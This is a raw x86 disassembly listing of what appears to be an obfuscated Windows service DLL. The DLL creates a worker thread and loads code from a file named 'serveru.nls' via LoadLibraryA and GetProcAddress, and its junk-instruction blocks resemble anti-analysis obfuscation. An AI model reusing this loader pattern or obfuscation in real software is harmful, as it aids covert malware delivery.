sbb eax, eax
clc
mov ecx, 0xad698657
outsd dx, dword [esi]
jne 0x100ca95a
sub eax, 0xca85dcf4
test byte [edx + 0x719a9f7d], 0x38
nop
int3
and dword [ebx - 0x25f0889f], 5
idiv dword [edi + esi - 0x68061c73]
popfd
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 0x10c], esi
je 0x100cab86
push dword [0x10172dd0]
pushfd
test byte [0x100caa78], 0x6c
jne 0x100cab79
jo 0x100caab7
xchg ecx, eax
sbb dword [edx + 0x1926dd0c], 0x4a6cbc9e
rcr byte [ecx + 0x255dc793], 1
mov ecx, 0xc534ed8d
xchg esi, eax
cli
sbb eax, 0xa2a158ff
in al, 0xc8
mov ecx, 0x66c11db6
adc byte [ebp - 7], bh
stc
mov eax, 0xb1121d02
stc
jno 0x100caa92
inc edi
outsb dx, byte [esi]
insd dword es:[edi], dx
ffree st(2)
sub al, 0xcc
stosb byte es:[edi], al
adc byte [edi + 0x2d], bl
enter 0xffffffffffffa8a6, 0x14
leave
add esi, dword [edi + 0x3db09fb2]
lahf
mov al, 0x3d
and edx, ebp
mov edx, 0xa358ba5
pushal
xchg edi, eax
cli
cli
fbld tbyte [ecx + ebp*2 + 0x7b]
aad 0
aad 0xf7
test byte [eax], al
xor dword [edi - 0x73222e84], esp
pop ss
jbe 0x100caaa9
lds eax, [esi - 0x2c]
xor ax, 0xc1ed
mov edx, 0x4d1cb2c2
and byte [edx - 0x54], bh
loop 0x100cab22
pop esi
fld1
xchg byte [0x15a51953], bh
xchg esp, eax
dec ecx
sbb al, 0x7f
xlatb
popfd
dec ebx
push edx
adc eax, 0x3464de08
and bl, ch
mov al, 0x75
cmpsb byte [esi], byte es:[edi]
xchg ebx, eax
cmc
cmp ah, cl
pushal
scasd eax, dword es:[edi]
mov ah, 2
cmc
sbb bh, byte [eax + edx*2]
stc
mov cl, 0x88
push ss
jb 0x100cab5e
pop esp
push edi
in al, dx
push edx
cmpsb byte [esi], byte es:[edi]
jg 0x100caadd
and byte [ecx - 0x69], 0xf8
mov esp, 0x5b37c441
mov ecx, 0xc20c602c
mov edi, 0x17456345
arpl word [ebp + 0x17], ax
cwde
mov al, byte [0xfd161ec6]
adc edi, 0x7bd31b70
jae 0x100cabac
fbld tbyte es:[eax + 0x4d]
mov cl, 5
pop ds
fild qword [edi + edx*4 + 9]
cwde
call 0x5f79f22d
les edx, [esi - 0x79b01214]
call 0x3bf7f71e
mov ch, 0xf7
sub eax, 0x1091425e
nop
ftst
cli
add bl, ch
mov ecx, 0xd1b730c4
xchg ecx, eax
xlatb
insd dword es:[edi], dx
xor byte [edi + 0x6dd791d1], dh
sub dl, bh
sub esp, ecx
sub ah, bh
sub esi, esp
xchg dword [edi], eax
cmp ebx, dword [edi + 0x13]
imul ecx, dword [edi], 0x2aebae40
dec esi
popfd
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x10172dd0], ebx
cmp dword [0x10172dd0], ebx
pushfd
test byte [0x100cac7e], 0xf8
jne 0x100cac7f
add byte [ebx - 0x1a298c76], cl
fisub dword [eax]
mov dword [0xd22ec5a6], eax
mov ecx, dword [edx - 0x251a298d]
and byte [ebx - 0x2dd13a5a], ah
rsm
aaa
add edx, eax
jo 0x100cabe1
xor al, 5
inc esp
inc eax
add eax, 0xee684b2f
mov dl, 0x1a
add eax, dword [ecx - 0x3f]
rcl ebp, cl
add eax, 0x2f054044
dec ebx
push 0x31ab2ee
inc ecx
rcl ebx, 0xd5
mov bl, byte [edi - 0x53cc09ab]
mov eax, 0x3d457b25
mov ebx, 0x4f3b91b8
ror byte [esi], 0x5b
push ebx
cmp ebp, dword [edi - 0x68]
xchg byte ds:[edx], bl
or al, 0xcb
jo 0x100cab99
enter 0xffffffffffff8079, 0x31
nop
outsb dx, byte cs:[esi]
bound ecx, qword [ebx + 0x7a]
fistp dword [eax - 0x2c]
adc al, 0x54
mov ch, 0x8d
xlatb
push edx
and al, 0x9e
or byte [ebp + 0x2ae2cef], bl
cwde
push 0x50
sub dh, byte [ebx]
cli
cli
stosd dword es:[edi], eax
cmp ebx, dword [edx + 0x3152ab64]
imul ecx, dword [ecx + 0x1f01014a], 0x3e
and dword [esi], esi
pushal
in al, dx
pop es
add bh, dh
int3
popfd
jne 0x100cb5c7
call fcn.100bfdb2
test eax, eax
jne 0x100cb5c7
push str.Begin_CreateThread_MainLoopProc
push ebx
push 3
pushfd
test byte [0x100cace1], 0x1d
jne 0x100cace2
sbb edi, esp
xor ebx, dword [edx + 0x2e]
les esi, [ecx - 0x35]
sbb al, 0x40
nop
ja 0x100cace4
sbb dword [edx - 0x47], 0xffffffcf
xor byte [esi - 0x65], ah
test byte [edx - 0x2ffab37a], ah
jg 0x100cac7f
adc eax, dword [esi + 0x54]
xlatb
fadd st(7)
jae 0x100caccf
mov esi, 0x3b09df5c
inc esp
out dx, al
arpl word [bp + 0x74], cx
or eax, 0xf511f1d5
jg 0x100cacf5
adc cl, bl
out 0xe8, al
popfd
sub al, 4
popfd
call fcn.10049c0c
and al, 0xef
idiv edi
add esp, 0xc
push ebx
push ebx
push ebx
pushfd
test byte [0x100cad0a], 0xad
lodsd eax, dword [esi]
jne 0x100cad0b
jge 0x100cad79
jae 0x100cad08
sub al, 0x15
je 0x100caca7
das
xor ch, byte [eax]
inc esi
cdq
fbstp tbyte [eax + 0x244f5301]
push ebx
dec edi
and al, 0x9d
popfd
push 0x100c859f
pushfd
test byte [0x100cade1], 0x8b
jne 0x100cade2
adc byte [ebx + 0xc3850f], cl
add byte [eax], al
jg 0x100cad8b
int3
aaa
xchg ecx, eax
into
clc
inc eax
xor al, 0xd8
sahf
in al, dx
dec esp
pop eax
fsub dword [ecx + 0x62490b0f]
je 0x100cadc4
aas
in al, 0x3f
scasd eax, dword es:[edi]
jg 0x36e43b2b
invalid
pop es
mov edx, 0x89b0db7b
into
rol byte [eax], 1
rcl dword [edx + 0x31]
salc
jecxz 0x100cad17
xchg edx, eax
push edi
stc
dec edi
push ds
cmc
sal dword [ebp - 0x72], 0x86
sti
xchg ebx, eax
sub ch, byte [edx + esi*2]
sbb ah, byte [edi - 0x6276cc2]
sub al, 0xb
lodsb al, byte [esi]
out dx, al
in eax, dx
and ebx, dword [ebx - 0x80]
pop ebx
sbb eax, 0x40c36024
adc dword [0x142a4ddc], 0xe0b3531
push 0x87be463d
lea edx, [edi]
add byte [edi - 0x63], dh
sub al, 0x6c
mov dword [ebp - 0x66], edi
fptan
mov esp, 0x7a4f0362
salc
lodsb al, byte [esi]
cwde
inc ecx
add esi, dword [ecx + 0x67695411]
jns 0x100cad61
pop edx
push eax
xchg edi, eax
popfd
push ebx
pushfd
test byte [0x100cadf9], 0x1c
jne 0x100cadfa
adc al, 0x4c
mov dword [ecx + 0x74], ebx
lahf
idiv byte [eax + 0x36282aea]
popfd
push ebx
pushfd
test byte [0x100cae66], 0x93
scasb al, byte es:[edi]
or al, 0x10
xchg ebx, eax
jne 0x100cae67
jne 0x100cae61
cmpsb byte [esi], byte es:[edi]
insb byte es:[edi], dx
cmp cl, byte [edx]
mov byte [edx + ebp*8 + 0xf], ah
cmp byte fs:[0x88a86414], bl
pop ss
inc byte [ecx]
sub edi, esi
test byte [edi + ebx*4 - 0x7b], 0xcf
xchg dword [edi], ebp
shr byte [eax + ebx*2], cl
adc byte [eax - 0x5dd35ac4], 0xec
aaa
or ecx, eax
cdq
imul ebp, dword [esi + 0x4f97fdb8], 0x70
mov esi, 0xc569d3e7
mov dword [ecx - 0x76], eax
cmp esp, dword [0x6b93e705]
sbb cl, ah
sub ecx, dword [ebp + 0x73e5585b]
dec ecx
inc ecx
cmpsd dword [esi], dword es:[edi]
in al, dx
rol word [edi + 0x36], 1
xchg edx, eax
popfd
rcr dh, cl
adc al, 0xf9
je 0x100caebd
sub dh, byte [edi - 0x63]
ja 0x100cadff
popfd
or eax, 0x7358baaa
popfd
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10172dd0], eax
cmp eax, ebx
jne 0x100cb5c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ServiceMain::CreateThread_Error:_d
push ebx
push ebx
pushfd
test byte [0x100caf81], 0x25
jne 0x100caf82
arpl word [0x82b94816], bx
push esp
sbb ebp, dword [eax - 0xe]
mov eax, dword [0xfe4549fe]
xchg esp, eax
jle 0x100cae60
add edx, dword [ecx + 0xe476568]
add edx, dword [edi + 0x4fdcb173]
pop eax
sbb cl, byte [ecx + 0x25aba36f]
stosd dword es:[edi], eax
mov ecx, 0x22980f1a
into
and eax, 0xf1ab9ab
cwde
and cl, dh
pop esp
popal
xchg edx, eax
out dx, eax
mov edx, 0x82f85582
call 0x123843f7
mov ecx, dword [ebx - 0xd7462c4]
push edi
shr esp, 1
dec edx
out 0x2e, eax
int3
inc eax
fstp dword [eax - 0x4a]
adc eax, 0xae554355
fstp qword [eax - 0x3f]
ror dword [edi], 0xd8
lea esi, [edx + 0x70]
add byte [ebp - 0x57fdfd7a], cl
push esi
jns 0x100cafc1
mov eax, 0xd073267
mov ebp, 0x5c65da61
xchg esp, eax
push 0x71
mov ebp, 0x527cedc1
inc edx
mov eax, 0x5f8ea79e
xchg edx, eax
pop ds
cld
inc edx
lodsb al, byte [esi]
xchg ebp, eax
rcl dword [edi + 0x47], cl
and dword [edx + 0x12df7a57], edi
xor ebp, dword [edi - 0x11a96b63]
inc ebp
mov edx, 0x88084fb0
fisttp dword [edi]
sbb eax, 0x5c5e35fb
mov ch, 0x5d
popfd
call fcn.10049c0c
pushfd
test byte [0x100cb018], 0x46
jne 0x100cb019
daa
bound edi, qword [edi - 0x33]
mov eax, 0x8efa8e34
inc edx
jg 0x100caf29
mov esp, dword [edi + eax*8 - 0x53]
aad 0xb5
sbb edi, dword [0x8ab9c758]
xchg esi, eax
add al, 0x2f
adc ah, 0xd3
in eax, dx
xchg edi, eax
test dword [edx - 0x4fdf037a], ebx
jne 0x100cafc6
lcall 0x775, 0xb020fc86
xchg dword [ebx], esp
fsubr qword gs:[ebx - 0xf]
push 0xe476c026
lodsd eax, dword [esi]
sal byte es:[esi - 0x1c], 0xad
insb byte es:[edi], dx
dec ebx
loopne 0x100cb03c
jne 0x100cafb8
pop ds
add dword [edi + ebx*2], edx
int3
popfd
add esp, 0x10
jmp 0x100cb5c7
mov edi, 0x6d88e4cc
scasd eax, dword es:[edi]
neg byte [esi - 0x3d]
and esi, ebp
mov ebp, ebx
int1
sub al, 0x63
sub dword [ebx + 0x5945b038], ebx
and dl, byte [ecx - 0x4b6b08ca]
sub eax, 0xa8a333a7
xor bl, ch
in al, dx
cmc
mov cl, 0xa3
push es
cld
insb byte es:[edi], dx
dec ebp
xchg dword [eax - 0x33], ebx
test eax, 0xc7b46887
sbb al, 0x1d
scasd eax, dword es:[edi]
scasd eax, dword es:[edi]
mov edx, 0x1a536ee7
in eax, 0xd9
mov dl, 0x25
and al, 4
pop es
add dword [ecx], ecx
inc edx
and al, 0x1d
in al, dx
lds esp, [edi + 0x2a]
salc
popfd
xlatb
push edx
mov bl, 0x9c
or dword [ebp + eax*4 - 0x25], ecx
out dx, eax
mov edi, 0xafafd5d2
test al, 0xf4
add al, 0xc5
and dword [eax + 0x1f], ebp
inc esp
mov dh, 0xf8
aad 0xc5
mov bl, byte fs:[ebp*4 + 0x24ffa7b4]
sub ebp, eax
mov eax, 0xb2fc79ce
stc
mov cl, 0xa7
ja 0x100cb0ec
or byte [ecx], al
and edi, edx
call 0xb221232d
test edi, ebp
popfd
push str.Already_running_
jmp 0x100ca635
mov eax, dword [0x10172224]
cmp eax, ebx
pushfd
test byte [0x100cb1e0], 0xf9
jne 0x100cb1e1
xchg edi, eax
fld st(3)
int 0xe9
pop es
jb 0x100cb0f9
cld
out dx, al
sbb dword [ebp - 0x48], esp
push 0x9c45aa30
leave
test eax, 0x8a1fdae3
dec edi
cli
ficomp dword [edi]
mov cl, byte [edi - 6]
pop ebx
mov dword [0x2ffe0981], eax
mov dword [0x5738f970], eax
out 0xbc, eax
rol bl, 1
mov eax, dword [0x34d2d22c]
sahf
sub dword [eax], edi
loopne 0x100cb184
xchg edx, eax
mov bl, 0xd3
cmpxchg byte [ecx - 0xfe69ede], cl
and eax, ebx
add eax, 0x48ce5a0
clc
xchg edx, eax
shl al, cl
sbb dh, byte [edi]
dec eax
pop ebp
xchg ebp, eax
dec edi
inc eax
add byte [edx], ah
cmp al, 0x2a
push ds
jbe 0x100cb172
pop ebx
das
pop edi
or eax, 0xb5c1febe
pushal
mov ch, 0x60
push esp
cmp dword [edx - 0x6d6b7d4c], ebp
dec ebp
mov dh, 0x89
pushfd
test dword [edi + 0x29], 0xa9f9e18f
push 0x77
scasd eax, dword es:[edi]
pop eax
invalid
push 0x4cb02cdc
mov dword [0xaee81515], eax
int3
in al, dx
adc eax, 0xf2ed8ae2
imul eax, dword [edi + 0x29], 0xffffffab
stosd dword es:[edi], eax
mov ebx, 0x454e3459
dec ecx
sal esi, cl
push es
xor ah, byte [edx + 0x2d]
jg 0x100cb152
test byte [esi], 0x32
bound ebp, qword [0xe132c77f]
xor ah, cl
ror edx, 0x5f
mov eax, 0x4c6b33e4
arpl dx, ax
pop edi
les edx, [esi + 0x25]
xchg esp, eax
pop esp
dec edx
xor dword [esi], ebp
fisub dword [eax + 0x7f]
stosb byte es:[edi], al
push ebx
cdq
test al, 0xe8
xor dword [ebp + 0x2f], ecx
mov bl, 0x43
push edi
je 0x100cb141
add eax, ecx
mov ecx, 0x97026e7d
mov ah, 5
cmpsb byte [esi], byte es:[edi]
loopne 0x100cb15a
add eax, 0x1e54c22a
sub eax, esp
pushfd
dec edx
or al, 0x2d
out 0xaf, al
dec edi
dec esi
enter 0xffffffffffffc4e0, 0xffffffffffffffae
push esi
or dword [edi], esi
insb byte es:[edi], dx
mov dword [ebx - 0x58], ebx
xor esi, dword [esi + 0x3a3371e7]
in eax, 0xfe
jge 0x100cb1d3
popfd
je 0x100cb22c
push eax
call fcn.1011e7c5
pop ecx
mov dword [0x10172224], ebx
pushfd
test byte [0x100cb22a], 0x52
jne 0x100cb22b
enter 0x1112, 0x1f
mov ebp, ebp
fmul dword [ebx + 0xa]
or byte [ecx + ebx*8 + 0x67], ch
cmp dword [ebx + 0x3c], ecx
push cs
sub bl, byte [ecx]
push ecx
cmp dword [eax], 0xffffff83
fdivrp st(7)
xchg dword [ebx + esi*8 - 0x99bfa1d], edx
jne 0x100cb1c5
add esi, dword [ebp + 0x4f]
inc esi
aad 0xa1
push ss
jo 0x100cb243
mov eax, dword [0x7d1d7016]
cli
jge 0x100cb222
paddsw mm5, qword [edi]
popfd
mov eax, dword [0x10172dd4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
pushfd
test byte [0x100cb2ed], 0x4c
jne 0x100cb2ee
adc byte [edi + ecx - 0x7b], cl
mov dword [0x53000000], eax
push ebx
push cs
push edx
mov eax, 0x2b30eb88
sti
pop edx
test edi, edx
scasb al, byte es:[edi]
xor edi, ecx
mov edi, 0xb4893316
je 0x100cb2e2
mov esp, 0x93327108
cmc
push ecx
loop 0x100cb2d3
jecxz 0x100cb255
xchg dword [esp + ebx*8], ebx
pop eax
stosb byte es:[edi], al
cmc
push edi
aaa
sar ebp, cl
call 0x3c34eedd
inc esp
sti
je 0x100cb212
and bh, byte [edx]
xor ebx, dword [edi + 0x6062a534]
add byte [ebp - 0x42182483], al
pushfd
cmp byte [ebx], cl
popal
xchg edx, eax
xor al, 0x43
mov esi, 0x3ec860b2
mov ah, 0x5c
sahf
cdq
fnstcw word [eax - 0x1a]
popal
pop eax
cdq
sbb eax, 0xc5530eeb
enter 0xffffffffffffd2b4, 0x5a
mov esi, 0x4dbeef45
aaa
sbb eax, 0x7a45fa87
jne 0x100cb300
jo 0x100cb247
sub byte [edi + 0x29], al
cdq
xor eax, edi
inc edi
rcl byte [ecx + 0x705d6e8b]
xchg ebp, eax
xchg dword [eax], ecx
add byte [edx], dl
int1
popal
sal byte [edx - 0x1659adb7], cl
mov dword [0xee75def1], eax
test al, 0x9e
inc ebx
mov dl, 0x49
push edx
cmpsb byte [esi], byte es:[edi]
jmp 0x85eba47f
jl 0x100cb2e0
xor eax, 0xbbdbe8c1
and dword [edi + 0x3f1a23c4], esi
and ebx, dword [edx]
aas
inc ebx
popfd
cmp eax, ebx
je 0x100cb305
push ebx
push eax
call edi
push dword [0x10172dd4]
call esi
mov dword [0x10172dd4], ebx
sbb eax, 0x10172dd4
mov eax, dword [0x10172dd0]
pushfd
test byte [0x100cb38f], 0x51
je 0x100cb390
out 0xe6, al
push ecx
xor byte [ebx], ch
clc
jns 0x100cb375
mov dl, 0xfd
add al, 0x53
pop edi
inc ebx
mov bh, 2
cmpsd dword [esi], dword es:[edi]
mov eax, dword [0xebb7950e]
push eax
jo 0x100cb2ea
pop edx
mov dl, 0x4d
lea ebp, [eax]
cmp al, 0x9b
jbe 0x100cb37d
in eax, 0x17
cmovnp ecx, dword [ebx - 0x1f]
inc ebp
fimul word [edx - 0xc]
mov dh, 0xd2
xor al, 0x41
in al, 0x5f
sub dword [edx], ecx
pop ss
cwde
cli
test dword [ecx - 0x775e208a], ebp
pop ebp
and ch, byte [ebx - 0x65]
jne 0x100cb33c
mov esi, 0x550d9bf1
insb byte es:[edi], dx
or dword [esi], 0x49416cc4
push cs
les ebp, [ecx + eax*2 + 0x49]
cwde
lodsb al, byte [esi]
popfd
aaa
arpl word [edi], di
push eax
loop 0x100cb35e
sbb byte [edi], dh
insb byte es:[edi], dx
arpl word [0x79dd0204], bx
adc eax, dword [edx + 0x39589e3e]
mov al, 0xde
cmp eax, 0x8eda3bcb
sub eax, 0x3483bf1b
adc al, 0xd6
imul edx, dword [edi - 0xf], 0xfffffff7
push cs
ror dword [eax], cl
popfd
cmp eax, ebx
je 0x100cb3a7
push ebx
push eax
call edi
push dword [0x10172dd0]
call esi
mov dword [0x10172dd0], ebx
mov eax, dword [0x10172dd8]
cmp eax, ebx
je 0x100cb3b9
push eax
call esi
mov dword [0x10172dd8], ebx
mov eax, dword [0x10172ddc]
cmp eax, ebx
je 0x100cb3cb
push eax
call esi
mov dword [0x10172ddc], ebx
mov eax, dword [0x10172de0]
cmp eax, ebx
pushfd
test byte [0x100cb413], 0xad
jne 0x100cb514
add ebx, edi
fdiv dword [esi]
int 0x52
lodsd eax, dword [esi]
ficom word [ebx - 0x19]
inc ecx
scasd eax, dword es:[edi]
pop ecx
scasb al, byte es:[edi]
fld dword [edi - 0xf]
insd dword es:[edi], dx
sub byte [edx - 0x60], dl
aas
sbb al, 0x4e
push eax
push ds
mov ebx, 0x93848081
dec edx
jmp dword gs:[esi + 0x215f6bd1]
popfd
je 0x100cb5c7
push eax
pushfd
test byte [0x100cb5bd], 0xda
jne 0x100cb5be
rcr dword [esi], 0x22
je 0x100cb56e
cmp dword [edx + 0x38], esp
not dword [ebx + edx*4 + 0x51e64a1d]
cmpsb byte [esi], byte es:[edi]
sti
add dh, byte [eax]
bnd jae 0x100cb559
sub byte [ebp - 0x1020763c], ch
les ecx, [ecx + 0x4815efdf]
mov dword [esi + 0x7917d3a9], esp
outsd dx, dword [esi]
fucompi st(7)
adc eax, 0xa9a68948
rcl dword [edi], cl
jns 0x100cb5be
xchg ecx, eax
sbb dword [eax + 0x5cef0f3b], edi
pushal
cdq
fnstcw word [edi + 0x56]
jg 0x100cb5b1
bound edx, qword [esi + 0x6f]
push ss
dec esi
aam 0x1d
sub al, 0x92
pop ds
popal
cmc
pop edx
xor byte [esp + eax + 0x5f], cl
adc eax, 0x179f5745
push edi
lahf
pop ss
lodsd eax, dword [esi]
xchg ebx, eax
sbb dword [esi + esi*4 + 0x75], eax
je 0x100cb515
xchg esi, eax
add byte [esi + 0xcd9b347], bh
and edi, eax
jno 0x100cb544
mov eax, 0x539deea
jno 0x100cb5e7
pop eax
push 0xa488444a
std
push ss
inc esp
mov ecx, 0xd93cbb54
les esp, [edi - 0x6b711f2e]
jb 0x100cb61d
mov ebx, 0xa7c4d93c
shl al, cl
mov ss, word [edx + esi*2 - 0x65d34684]
fnsave dword [esi + 0x7bbecdf5]
xchg edi, eax
mov ecx, 0xb6dd9a2c
cmc
int 0xbe
jnp 0x100cb542
in al, 0x23
pop esi
or eax, 0x4e86a1fd
and byte [ebp - 0x38], 0xb5
pop esi
pop es
xchg byte [esi - 0x7e], cl
enter 0x5eb5, 7
sbb eax, 0xca630ad7
popfd
call esi
mov dword [0x10172de0], ebx
push str.Entering_DllMain
pushfd
test byte [0x100cb65e], 0x7c
jne 0x100cb65f
test dword [edx - 0x49], edi
mov eax, dword [eax - 0x2de5af9d]
pop ebx
movsb byte es:[edi], byte [esi]
leave
leave
outsb dx, byte [esi]
jl 0x100cb596
adc ch, byte [edi + ebx + 0x4b]
in eax, dx
pushal
push ebx
cmp word [ecx], di
push ebp
test dl, dh
inc esi
shr dword [eax - 0x6b], 0x9d
js 0x100cb62b
fdivr st(1)
dec ebp
add byte [edx - 0x622218a3], 0x66
cmp ebx, esi
je 0x100cb603
dec edi
sub ah, ah
push 0xdc59c473
lds esi, [ebp + 0x1af02716]
mov bh, al
mov ss, word cs:[esi]
mov ebx, eax
sub dword [eax - 0x3dc8b91d], 0x255bcf8f
xlatb
insd dword es:[edi], dx
xor al, 0x4f
call 0xeab35c49
cmp dword ss:[eax - 0x39], ebx
push edx
sbb dword [ebx], eax
test al, 0x66
cmp edi, dword [esi - 0x55]
sbb al, 0x10
mov edx, 0x97c16a2e
aad 0xa3
mov dword [0x8778bf6e], eax
mov dl, 0x8b
xor edi, dword [0x2b6bf430]
sbb dword [edx + 0x53ab80db], ebx
iretd
popfd
push ebx
push 3
call fcn.10049c0c
mov eax, dword [0x10172dcc]
pushfd
test byte [0x100cb6ad], 8
je 0x100cb6ae
movsb byte es:[edi], byte [esi]
add dl, byte [edx]
imul edx, dword [eax], 0xd45eeccf
sahf
xchg esi, eax
adc ebx, dword [esi]
daa
rcl dword [ebp - 0x69]
cmc
sub al, 0x4d
xor eax, 0x8c1ada84
inc ecx
scasd eax, dword es:[edi]
or al, 0xfe
pop ds
mov gs, ebp
mov esi, es
stosd dword es:[edi], eax
mov edi, edi
leave
or al, 0x7d
xchg esi, eax
sub dl, ah
inc edi
push esp
aad 0
add eax, 0xb2d72675
mov dh, 0xb7
popfd
add esp, 0xc
cmp eax, ebx
jne 0x100cb6ce
push str.serveru.nls
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
adc eax, sym.imp.KERNEL32.dll_LoadLibraryA
mov dword [0x10172dcc], eax
cmp eax, ebx
je 0x100cb94a
push 0x10148df0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x100cb94a
pushfd
test byte [0x100cb6f9], 0xcf
jne 0x100cb7fa
add dword [eax], eax
add byte [ecx + 0x6c], cl
dec ecx
insb byte es:[edi], dx
push ebx
mov word [edx - 0x2e898dc2], cs
mov eax, 0x214f8e46
fist dword [ebx]
xor dh, al
les ecx, gs:[edx - 0x5b6a2489]
jae 0x100cb6bc
fist dword [ebp - 0x504e8c5c]
scasd eax, dword es:[edi]
jne 0x100cb6ed
mov ch, byte [ebp + 0xa]
inc ebx
jnp 0x100cb725
insd dword es:[edi], dx
or al, byte [ebx + 0x7b]
adc dword [edx - 0x10], esi
jb 0x100cb706
cmp edi, dword [edx + 0x3f]
mov esp, 0x176a4219
mov edx, 0x2109a4fe
pop ds
les ebp, [esi]
ficomp word [ebx]
ficomp word cs:[ebx]
inc ebp
jb 0x100cb78e
bound edi, qword [esi + 0x2dfed536]
sbb byte [ebx + 0x20fd9370], ah
push esi
xchg esp, eax
sti
into
cmc
fistp word [ebp - 0x31]
inc esi
daa
sbb bl, al
mov esi, 0x9f6e90b0
out 0x3d, eax
test eax, 0xf1321b26
pop esp
sti
adc dword [esi], ebx
sub dword [edx], ecx
push 0x2a6b294e
mov cl, byte [edx + 0x614952d3]
cli
sub dword [eax - 0x5e606c0a], ebp
lodsb al, byte [esi]
dec ebx
jle 0x100cb70f
fisubr dword [ecx*8 + 0x2ee87261]
mov ebx, 0xf871daf
mov edi, 0x66aa77a6
and dword [ebp - 0x1c], edi
in al, 0xa8
in al, dx
or byte [ecx + 0x1d47116], dl
pushal
jnp 0x100cb799
cdq
push ds
push esp
not dword [ebp + 0x65f73165]
sar byte [ebp - 0x38], 0xc1
mov edi, 0x8d127250
and dword [esi - 0x4b], edx
adc esi, dword [esi - 0x2e48f418]
inc esp
and eax, 0x450b7d61
push eax
jb 0x100cb7ae
lea esp, [ecx]
push esi
mov ch, 0x13
mov dh, 0xe8
or esi, dword [edi + 0x612544d1]
jge 0x100cb7b6
inc ebp
add ebx, dword [eax + 0x5a4a14d]
imul ebp, esp, 0xa4ee350a
dec ebp
mov eax, dword [0xec6905a4]
or dh, byte [0x915ca4ee]
out dx, al
movsb byte es:[edi], byte [esi]
pop esp
xchg ecx, eax
push ebp
sahf
adc ch, byte [esi + 2]
dec esp
push edx
outsb dx, byte [esi]
jne 0x100cb80c
lea ebx, [0x6558d022]
xor al, 0xf3
pop esp
lahf
inc edi
jb 0x100cb822
ror byte [eax - 0x2e25e9e6], cl
sub bh, ch
xchg esi, eax
cmp dl, byte [ebp - 0x6b]
outsd dx, dword [esi]
dec ebx
adc esp, ebx
push eax
and ah, bh
and al, 0x2a
pushal
stosd dword es:[edi], eax
push ebp
insb byte es:[edi], dx
mov esp, 0x2aa9c556
loop 0x100cb80b
and byte [eax + 0x6ab93d4], cl
adc edi, dword [esi - 0xc]
popfd
push dword [ebp - 0x118]
pushfd
test byte [0x100cb905], 0xa9
jne 0x100cb906
test eax, 0xf7850f
add byte [eax], al
test dword [eax], 0x39460000
add byte [eax], al
add byte [esi + 0x39], al
inc esi
cmp eax, edi
clc
movsd dword es:[edi], dword [esi]
loopne 0x100cb842
aaa
rcl byte [ebp + 0x3f]
jbe 0x100cb823
sbb byte [esi - 0x1938fda9], dl
jno 0x100cb7e2
mov edi, 0x33bd4fe8
jne 0x100cb7dd
call 0x85407577
mov ah, 0x1f
pop ds
jns 0x100cb84c
fistp word [ebx]
rcr dword [eax + esi*4], cl
sub ebx, dword [ebp + 0x5a46aefe]
jl 0x100cb85d
popfd
pop eax
sbb ebx, dword [0x6a2d4cc2]
adc al, 0xd2
outsb dx, byte [esi]
js 0x100cb808
push 0x14
shr byte [esi + 0x78], cl
rcl byte [ebx], 0x3d
pop edi
mov al, byte [0x963f625e]
adc edi, dword [0x625ea05f]
aas
pop esi
bound edi, qword [edi]
xchg esi, eax
mov bl, dl
sar ch, 1
into
aam 0x46
jne 0x100cb8aa
sal byte [ebx + 0xb10efe3], 0xcc
sub al, 0xf6
sal esi, 0xa8
in al, dx
sar edx, 1
enter 0x3e5c, 0xffffffffffffff9d
shl dword [edi + 0x7cea5a9a], 1
push ss
jnp 0x100cb892
out dx, eax
adc byte [ebx], cl
int3
and byte [ebp + 0x5b9594f5], dl
xor dword [edi - 0x18e7387a], ecx
outsd dx, dword [esi]
in eax, 0x82
cmp dh, al
fistp qword [esi]
xchg esp, eax
push es
push eax
add dh, cl
mov word [ebx + 0x70], ds
adc edi, dword [ebx + 0x768f73a5]
jo 0x100cb8a5
mov ebx, 0x768f73a5
or eax, 0xf7f4a040
sti
push cs
shr bl, 0x47
or bh, al
aad 0x54
and bh, cl
cli
imul esi, edx, 5
add al, 0xb3
mov eax, dword [0x3e53fd8b]
ror dword [eax - 0x27], 0x99
add eax, 0x8ba1b304
std
push ebx
ror dword ds:[eax - 0x27], 0x99
sub ch, bl
pop eax
dec eax
push ss
lodsd eax, dword [esi]
dec edx
rcr dword [esi + 0x58], 1
insb byte es:[edi], dx
aaa
xchg esi, eax
stosb byte es:[edi], al
rcl dword [ebx - 0xf25b7c9], cl
inc bp
and byte [eax + 0x4e2ca22], ch
xchg ebx, eax
aaa
dec eax
invalid
loop 0x100cb8d7
sti
and byte [eax - 0x52431b81], ah
in al, 0xbc
lodsd eax, dword [esi]
imul eax, dword [edx + edi*4], 0x61
pop esp
and ebx, dword [ebx + ebp*2 - 0x734b7fee]
jle 0x100cb890
sbb byte ss:[esi + 0x4f32406e], bl
xor dl, byte [ebp - 0x79]
cmp byte [edx - 3], bl
or eax, 0x6756fb4
mov eax, dword [0xda5b781e]
mov esi, 0x7679d6d6
sahf
push edi
popfd
push dword [ebp + 0xc]
push dword [ebp - 0x114]
call eax
pushfd
test byte [0x100cb948], 0x75
jne 0x100cb949
mov edx, 0x1265a5d4
lodsd eax, dword [esi]
or ch, byte [ebx + edx]
push es
lea ebx, [esi - 0x5c5308d1]
jne 0x100cb8c6
loop 0x100cb8d1
adc eax, dword [esi + 0x24]
mov bh, 0x15
sub bl, byte [eax + 0x5f45651f]
push esp
mov ah, 0xd1
xchg edx, eax
push 0x7d2f4918
jns 0x100cb9bd
jbe 0x100cb9b9
xchg ebx, eax
popfd
mov ecx, dword [ebp - 4]
pop edi
xor eax, eax
pushfd
test byte [0x100cba45], 0xd0
jne 0x100cba46
out dx, eax
mov dl, 0xc7
mov cl, 5
xchg dword [0x796620a4], esp
dec ebp
pop edi
xor byte [0x6239391a], bl
dec edi
adc cl, byte [ecx - 0x5dcdb866]
cmpsd dword [esi], dword es:[edi]
adc dword [bx + di - 0x39], 0x2e
fisubr word [bp + 0x54]
nop
das
arpl sp, di
add dl, byte [edx - 0x291461cc]
leave
int3
mov ah, 0xaa
cmc
salc
push ss
daa
popfd
dec eax
xor dword [eax + 0x5c], edx
xchg ebx, eax
mov ecx, 0x2624f592
movsb byte es:[edi], byte [esi]
and esi, esi
aad 0x44
